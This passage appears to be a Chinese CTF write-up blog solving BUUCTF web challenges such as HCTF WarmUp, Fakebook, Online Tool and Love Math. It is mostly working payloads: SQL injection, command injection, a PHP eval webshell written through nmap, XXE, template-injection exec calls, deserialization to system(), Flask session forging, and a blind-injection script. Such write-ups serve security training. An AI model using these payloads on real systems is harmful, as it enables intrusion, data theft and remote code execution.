之前陆陆续续做过一些题，但都没有记录，这次打算巩固一下，记录下来。[HCTF 2018]WarmUp<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo " "; } ?>最终目标是要利用include包含ffffllllaaaagggg，想执行include就需要(! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']))这三项都为true! empty($_REQUEST['file'])只要输入了就为trueis_string($_REQUEST['file'])需要输入的是字符串才为trueemmm::checkFile($_REQUEST['file'])是重点，它调用了emm类中的checkFile方法，输入的参数需要满足白名单也就是source.php或者hint.php，并且得包含?，所以payload为source.php?file=hint.php?/../../../../../../ffffllllaaaagggg[极客大挑战 2019]EasySQL随便试了一下，秒了username=admin' or 1=1--+&password='[强网杯 2019]随便注很经典的一题，堆叠注入，后面还有它的变种：[GYCTF2020]Blacklist(查库) 1';show databases;# (查表) 1';show tables;# (查列) 1';show columns from `words`; 1';show columns from `1919810931114514`;解法1发现1919810931114514表中有flag，而words表中则是id和data，也就是说它原本是读取words表中的内容，我们只需要把words换成1919810931114514，将id列换成flag列就能读取flag了，1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` change flag id varchar(100);#然后再1'or 1=1#就有flag了解法2预处理比如 set @xl='1919810931114514'; 存储表名 set @sql=concat('select * from',@xl); 存储sql语句 char(115,101,108,101,99,116) select prepare xiaolong from @sql; 预定义sql语句 execute xiaolong; 执行预定义sql语句测试发现还有strstr函数，大小写绕过即可1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE xiaolong from @sql;execute xiaolong;解法3用handler代替select1';handler `1919810931114514`open; handler `1919810931114514` read first;这也是后面一变种题的解法[极客大挑战 2019]Havefun傻逼题?cat=dog[SUCTF 2019]EasySQL搜wp时发现在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接，但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能1;set sql_mode=PIPES_AS_CONCAT;select 1非预期*,1[ACTF2020 新生赛]Includephp伪协议读文件?file=php://filter/read=convert.base64-encode/resource=flag.php[极客大挑战 2019]Secret File抓包发现secr3t.phpphp伪协议?file=php://filter/read=convert.base64-encode/resource=flag.php[极客大挑战 2019]LoveSQLusername=admin'or '1'='1&password=1登陆后得到密码916ac54a426380d931b6d858656a9090，但没有flag尝试报错注入username=admin password=916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)# 916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),0x7e),1)# 916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(password) from l0ve1ysq1),0x7e),1)#但updatexml()查询的字符串长度最大为32，所以还要用substr函数来截取不过其实没这么麻烦，直接联合查询就行'union select 1,2,group_concat(password) from l0ve1ysq1#[GXYCTF2019]Ping Ping Ping解法1：字符串拼接?ip=127.0.0.1;s=g;cat$IFS$9fla$s.php解法2：base64编码?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|shcat flag.php的base64编码为Y2F0IGZsYWcucGhw echo$IFS$9Y2F0IGZsYWcucGhw的结果为Y2F0IGZsYWcucGhw echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d的结果为cat flag.php 再加上|sh就是执行前面的cat flag.php解法3：内联执行?ip=127.0.0.1;cat$IFS$9`ls`[ACTF2020 新生赛]Exec127.0.0.1&cat /flag[极客大挑战 2019]Knife菜刀或蚁剑连接[护网杯 2018]easy_tornadohint.txt md5(cookie_secret+md5(filename))如果直接改文件名去访问flag就会跳转到这个页面error?msg=error结合题目，应该是要模板注入找到cookie_secret在handler.settings可以找到cookie_secret，这没用过还真不知道file?filename=/fllllllllllllag&filehash=665a7d61f98ceaa33fc5a07c266c4fc7[RoarCTF 2019]Easy Calc<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>php特性变量名中有空白符->删除空白符变量名中有特殊字符->转化为下划线所以传空格num即可绕过黑名单然后用scandir列出文件?%20num=print_r(scandir(chr(47))); #chr(47)代表/file_get_contents读取f1aggfile_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));[极客大挑战 2019]Http源码中有Secret.php，我眼拙没看见，跟个傻逼一样扫了半天依次修改3个http头Referer X-Forwarded-For User-Agent[极客大挑战 2019]PHPwww.zip得到源码最简单的反序列化属性个数的值大于实际属性个数，跳过 __wakeup()函数的执行<?php class Name{ private $username='admin'; private $password=100; } $p=new Name(); echo serialize($p); ?>payload:index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}注意是private声明，所以多了%00[极客大挑战 2019]Upload上传.phtml文件Content-Type: image/png Content-Type: image/jpg Content-Type: image/gif 这3种都可以记得文件内容加上GIF98A[极客大挑战 2019]BabySQL双写绕过'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata# 'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'# 'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_name='Flag'# 'uniunionon selselectect 1,2,group_concat(flag) frfromom ctf.Flag#[ACTF2020 新生赛]Upload上传,phtml文件[ACTF2020 新生赛]BackupFile备份文件泄露访问index.php.bak<?php include_once "flag.php"; if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; } } else { echo "Try to find out source file!"; } 因为是弱等于，所以在进行数字与字符串的判断时会先将字符串转成数字index.php/?key=123[HCTF 2018]admin考验一点代码审计解法1：弱口令username:admin password:123可能是出题人想让我们知道弱口令的重要性吧，不然可就太弱智了~解法2：unicode欺骗在改密码界面查看源代码可看到题目的源码地址，下载下来进行审计在注册这里有个strlower函数strlower():它将字符串中的所有大写字母转换为小写字母，并返回一个新字符串但碰到unicode编码例如ᴬᴰᴹᴵᴺ则会转化为ADMIN接着看，在登陆处和改变密码处同样用到了strlower所以思路如下：首先注册时username填ᴬᴰᴹᴵᴺ，这时会调用strlower，于是就注册了一个username为ADMIN的用户，之后再用ᴬᴰᴹᴵᴺ进行登陆，又调用strlower，就能以ADMIN登陆，然后再改密码再一次调用strlower，把ADMIN变成了admin，这就达到了改admin密码的效果ᴬᴰᴹᴵᴺ——>ADMIN——>adminunicode解法3：flask session伪造代码审计仔细点可以发现只需伪造flask-session就可以了，而想要破解session还需要SECRET_KEY结果发现可以找到好的，可以搬出脚本伪造session了解密python flask_session_cookie_manager3.py decode -c ".eJxF0EFrgz AYxvGvMnLuYab1IvTQEhtSeF9xxJbkUjZnp29MB2pRU_rdJ73s-Fx-8Pwf7HLtqr5mydDdqxW7NN8sebC3L5YwK9QI1NbZuZiNP7XADy1SPpqwC4aOPjubAFptUMOEsogMuQi99YYUNwFbS260Mo3A2xoFTCAgAO0b5JZA5xx4ERutIuCKg_9whsrFXrYoYktHsmJPIOoGw6mG4GYUB5dJNVmfv4MsZpQqQp2uDaVb9lyxsu-ul-HXVbf_CzINmWidpTJkEtYYfrjRJlifxobqhXcjEjagXQweZivydbbbvrjbp68WYqj6ga3Yva-6VxwWbdjzDwKAZio.YGdC4w.UuujSbZ57GYUFlR44TrsYon-QIs" -s "ckj123" {'_fresh': True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'test', 'user_id': '14'}将name替换成admin后加密python flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'admin', 'user_id': '14'}" -s "ckj123" .eJxF0MGKwjAUheFXGbJ2MY12I7hQUkOEe0uHVLnZiKN12pvGgarURnz3KW5meTYfnP8p9ueuutZifuvu1UTsm5OYP8XHt5gLp0wP3Nb5rhwobFuQ6xa56CkuI_Em5DuKYM0MLTxQlwmxTzC4QGwkRWwd-97pLIHgalTwAAUReNWgdAy2kCDLlKxJQBoJ4csTH0d73KpMHW_YqRWDqhuM2xqiH1Ctfa7Nw4XiE3Q5oDYJ2mxKnC3EayKO1-68v_366vJ_QWcxV613fIy5hinGH0mWogtZSlyPvO-RsQHrUwgwOFVM8-XizV0OoRqJwyk0FzER92vVveuIZCZef2iJZnM.YGdGhg.ZnzMLxyduFAyIf_LJLSFpIWGNmQ脚本地址https://github.com/noraj/flask-session-cookie-manager[极客大挑战 2019]BuyFlag cookie中user改为1password=404amoney用数组绕过或科学计数法[BJDCTF2020]Easy MD5抓包发现hint用ffifdyop绕过MD5然后进入levels91.php 数组绕过进入levell14.php<?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; } 依旧数组绕过[SUCTF 2019]CheckIn上传图片马，文件头加上GIF89A来绕过上传.user.ini，内容为auto_prepend_file=2.jpg相当于文件头加上 include(“2.jpg”)同样加上GIF89A绕过访问/uploads/d99081fe929b750e0557f85e6499103f/index.php[ZJCTF 2019]NiZhuanSiWei<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo " ".file_get_contents($text,'r')." "; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>text用data协议或php://input写入welcome to the zjctffile用php伪协议读取useless.php//useless.php <?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo " "; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?> 反序列化读取flag.php<?php class Flag{ //flag.php public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo " "; return ("U R SO CLOSE !///COME ON PLZ"); } } } $p=new Flag(); echo serialize($p); ?>最后的payload记得把file的值改成useless.php[CISCN2019 华北赛区 Day2 Web1]Hack World初步测试了一下，过滤了好多，空格、or、and、#、；select等等尝试了一下后发现可以盲注写个脚本跑一下(不会对分，跑的巨慢。。。)import requests import time url='http://15abf97a-073f-4075-9700-3267a740f3e0.node3.buuoj.cn/index.php' flag="" payload={ "id" : "" } for i in range(0,60): for j in range(1,127): payload["id"]="1^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,0,1)"%(i,j) r = requests.post(url,data=payload) time.sleep(0.01) if 'Hello' in r.text: flag = flag+chr(j) print(flag) break print(flag)[极客大挑战 2019]HardSQL报错注入，且过滤了空格,='or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))# 'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))# 'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))# 'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#括号太多了，人都绕傻了[网鼎杯 2018]Fakebook解法1：联合注入或报错注入+ssrf+反序列化这waf挺怪的，只需把union和select之间的空格改成/**/就能绕过no=0 union/**/select 1,database(),3,4 no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='fakebook' no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='users' no=0 union/**/select 1,group_concat(data),3,4 from usersdata中数据如下O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:25:"https://xiaolong22333.top";}然后查看robots.txt，发现源码结合data数据及题目，应该是反序列化+ssrfO:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}payload:?no=0%20union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'这里说一下为什么在blog处存在ssrf，网上的文章好像都没说，泄露的user.php也没解释在注册时blog写真实的网站，这里我写了我的blog地址系统真的去访问了填的的这个blog，也就是说这里可能是这样的url=https://xiaolong22333.top这是典型的ssrf在user.php中如下代码就是调用blog的url去访问解法2：通过load_file()函数+报错注入直接读取flag.php1 and(updatexml(1,concat(1,(select(LOAD_FILE('/var/www/html/flag.php')))),1)) 1 and(updatexml(1,concat(1,right((select(LOAD_FILE('/var/www/html/flag.php'))),32)),1))[GXYCTF2019]BabySQli随便输一下，发现源码中有提示，先base32在base64解码得select * from user where username = '$name'mysql在查询没有的数据时会构建一个虚拟的表也就是说我们查询一个user为admin,pw为123的用户时就创建了这个用户这题有一个坑点，就是密码是经过MD5加密的，这。。。反正我是想不到1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#123MD5后为202cb962ac59075b964b07152d234b70[MRCTF2020]你传你马呢先传.htaccess文件，再传图片马，最后蚁剑连接但我做的时候一直出问题，图片不解析成php，明明是同样的步骤，同样的代码，但就是不同的结果，很难受。这里我放个网上的wpMRCTF2020你传你马呢[GYCTF2020]Blacklist[强网杯 2019]随便注的变种，在此基础上还过滤了set|prepare|alter|rename|1';show tables;找到表名FlagHere 用handler进行查询1';handler FlagHere open; handler FlagHere read first;[MRCTF2020]Ez_bypass没什么好说的?id[]=1&gg[]=2 post passwd=1234567a[强网杯 2019]高明的黑客(不会)完全就是考察代码编写能力，不会，告辞时隔半年再回来看看，主要当时提取参数的正则看不懂import re import os import requests import time req = re.compile(r'(?<=GET\[\').*(?=\'\])') path = "C:\\Users\\xxx\Desktop\\src\\" files = os.listdir(path) for file in files: print(file) f = open(path + file) data = f.read() f.close() results = req.findall(data) for result in results: url = 'http://72dd3385-3d75-4e3f-889c-859870157aec.node4.buuoj.cn:81/'+ file + '?' + result + '=echo "xiaolong"' # print(url) res = requests.get(url) print(res.url) time.sleep(0.3) if 'xiaolong' in res.text: print("find:" + res.url) exit(1)不过这个脚本着实不太行，跑太慢，而且跑了一会就断开了，可能是buu的原因[BUUCTF 2018]Online Tool<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }PHP escapeshellarg()+escapeshellcmd() 之殇escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的 escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义 nmap命令中 有一个参数-oG可以实现将命令和结果写到文件我们需要的语句是这样的<?php @eval($_POST["cmd"]);?> -oG shell.php但经过escapeshellarg后变成了'<?php @eval($_POST["cmd"]);?> -oG shell.php'这样就变成了字符串，无法执行命令了而如果我们输入的是这样的呢'<?php @eval($_POST["cmd"]);?> -oG shell.php'进过escapeshellarg后变成''\''<?php @eval($_POST["cmd"]);?> -oG shell.php'\'''然后再经过escapeshellcmd后''\\''<?php @eval($_POST["cmd"]);?> -oG shell.php'\\'''拼接上去后相当于nmap -T5 -sT -Pn --host-timeout 2 -F \<?php @eval($_POST["cmd"]);?> -oG shell.php\\但这样文件就会变成shell.php\\，且前面还会被转义所以需要加个空格，前后各一个payload?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '回显了文件夹名字，加上木马的文件名后连接蚁剑即可[RoarCTF 2019]Easy Java(不会)知识盲区，虽然操作简单，但完全不明白，正在学java，等学了一段时间再回来看看先放上大佬的wpRoarCTF2019web题-easy_java writeup[GXYCTF2019]BabyUpload传.hatccess文件和图片马，和MRCTF那题一样[GXYCTF2019]禁止套娃.git泄露，直接GitHack读取源码<?php include "flag.php"; echo "flag在哪里呢？ "; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦！"); } } else{ die("再好好想想！"); } } else{ die("还想读flag，臭弟弟！"); } } // highlight_file(__FILE__); ?>需要传入无参数的命令，无参数文件读取?exp=print_r(scandir(current(localeconv())));然后array_reverse逆转数组，next()函数进行下一个值的读取?exp=print_r(next(array_reverse(scandir(current(localeconv())))));读取flag.php?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));[GWCTF 2019]我有一个数据库robots.txt中有phpinfo.php，不过好像没啥用dirsearch能扫出phpadmin(我扫不出来。。。很难受)访问发现版本为4.8.1，搜索发现有任意文件包含漏洞，试试payload/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd尝试读取flag/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag[BJDCTF2020]The mystery of ip结合hint.php中Do you know why i know your ip?和题目，猜测是X-Forwarded-For有问题添加后测试发现存在模板注入X-Forwarded-For: {{system('cat /flag')}}[BJDCTF2020]Mark loves cat猜测是.git源码泄露，拿出GitHack，结果下了些没用的文件，还以为做错了，看wp发现就是这么做，但我就是没有下载到flag.php和index.php，emmm,一定是buu的锅。<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;直接说payloadget传参 yds=flag； 或者 get传参 is=flag&flag=flag先说第一种，经过第一个foreach后foreach($_GET as $x => $y){ $$x = $$y; }变成了$yds=$flag，满足第二个if语句(参数中没有flag)，输出$yds，也就是$flag第二种，还是经过这个foreach,变成了$ls=$flag，然后进入第三个foreach，变成了$flag=$flag，此时满足第三个if，输出$is，也就是$flag这两种做法都没有用到post，当然有的wp中是get+post，有点绕，我实在是搞不明白，研究了一个多小时快搞吐了，太傻逼了。[BJDCTF2020]ZJCTF，不过如此首先跟zjctf那题一样，data写入或input写入，伪协议读文件?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }preg_replace的/e模式可以执行代码，也就是我们要传入的是：参数名为正则表达式，参数值为要匹配的字符串。知识点放上，wp放上，payload放上深入研究preg_replace与代码执行wppayload:/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); #\S 在php正则表达式中示意匹配所有非空字符，*示意多次匹配ps:最新版的php移除了preg_replace的/e模式[安洵杯 2019]easy_weburl的参数值看着像base64，尝试去解密，然后就遇到了一个很坑的地方，我一直解密的那个网站这串base64没解出来，当时就想当然以为可能不是base64，结果就完全不知道要怎么做了。看了wp知道这tm就是base64，我换个解密网站就出来了。所以说解不出来换个网站，多试几次！！！解不出来换个网站，多试几次！！！解不出来换个网站，多试几次！！！回到题目，经过两次base64后16进制转字符串，得到555.png，那换成flag.php看看，反过来转16进制再base64加密两次看来不行，那换成index.php，可以base64解密后读到源码<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo ' '; die("xixi～ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo " "; echo " "; } echo $cmd; echo " "; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo " "; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> MD5强类型比较，找MD5一样的就行a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2cmd用\绕过cmd=ca\t /flag[网鼎杯 2020 朱雀组]phpweb打开题目发现输出了当前时间，抓包看看发现两个参数，应该是调用了call_user_func，那尝试读一下源码func=file_get_contents&p=index.php<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>可以反序列化执行命令func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}居然没有flag文件，那搜一下flag在哪func=unserialize&p=O:4:"Test":2:{s:1:"p";s:17:"find / -name fla*";s:4:"func";s:6:"system";}好家伙，藏在这里，读flagfunc=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}[De1CTF 2019]SSRF Me(不会)python的flask，看不懂，不会[NCTF2019]Fake XML cookbook最简单的xxe抓包，增加外部实体<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///../../../../flag"> ]> <user><username>&goodies;</username><password>123456</password></user>[ASIS 2019]Unicorn shopunicode编码安全买4号马就能得到flag，但只能输入一个字符，找个大于1337的unicode字符就行，比如ↈ(代表100000)实际上中文的万，亿，兆也都可以[BJDCTF2020]Cookie is so stable输入7*7，发现回显为49，应该是Twig的模板注入(Jinja的话为7777777)，登陆后抓包，发现user在cookie处，根据提示，注入点为cookie处根据这篇文章的payload拿flag{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}[CISCN 2019 初赛]Love Math<?php error_reporting(0); //听说你很喜欢数学，不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }我们想要的结果c=system('cat /flag')但要绕过函数名的限制利用php中字符串加上括号可被当作函数执行的特性c=$_GET[a]($_GET[b])&a=system&b=cat /flag所以现在得想办法构造_GET，下面要用到这些函数base_convert进制转换dechex10进制转16进制hex2bin16进制转字符串但我们没有hex2bin函数，需要构造base_convert(37907361743,10,36)=>hex2bin //把10进制的37907361743转为36进制，即为hex2bindechex(1598506324)=>"5f474554" hex2bin("5f474554")=>_GET即这么一串等于_GETbase_convert(37907361743,10,36)(dechex(1598506324))然后将这串保存到一个白名单变量中以防太长，同时用{}代替[]c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})分号后面那串就等于$_GET{pi}($_GET{abs})最终payload：c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flagyu师傅的wp[BSidesCF 2020]Had a bad day尝试php伪协议读文件，发现去掉php后缀可以成功?category=php://filter/read=convert.base64-encode/resource=index<?php $file = $_GET['category']; if(isset($file)){ if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>发现只有参数中带有woofers，meowers，index就可以包含这里有个知识点，php伪协议可以套一层协议，比如convert.base64-encode/index/resource所以可以这样?category=php://filter/read=convert.base64-encode/index/resource=flag或者还可以?category=php://filter/read=convert.base64-encode/index/resource=index/../flag[SUCTF 2019]Pythonginx @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333"前面看的不是很懂，只知道前面两个if不能是suctf.cc，然后经过encode('idna').decode('utf-8')要等于suctf.cc大佬的脚本from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass def getUrl(url): url=url host=parse.urlparse(url).hostname if host == 'suctf.cc': return False parts=list(urlsplit(url)) host=parts[1] if host == 'suctf.cc': return False newhost=[] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1]='.'.join(newhost) finalUrl=urlunsplit(parts).split(' ')[0] host=parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__=='__main__': get_unicode()随便找个代替c就行，然后访问/etc/passwd发现成功file://suctf.cⓒ/../../../../../etc/passwd然后联系题目，访问nginx的配置文件，目录为usr/local/nginx/conf/nginx.conffile://suctf.cⓒ/../../../../../usr/local/nginx/conf/nginx.conf读取flagfile://suctf.cⓒ/../../../../../usr/fffffflag[安洵杯 2019]easy_serialize_php<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); 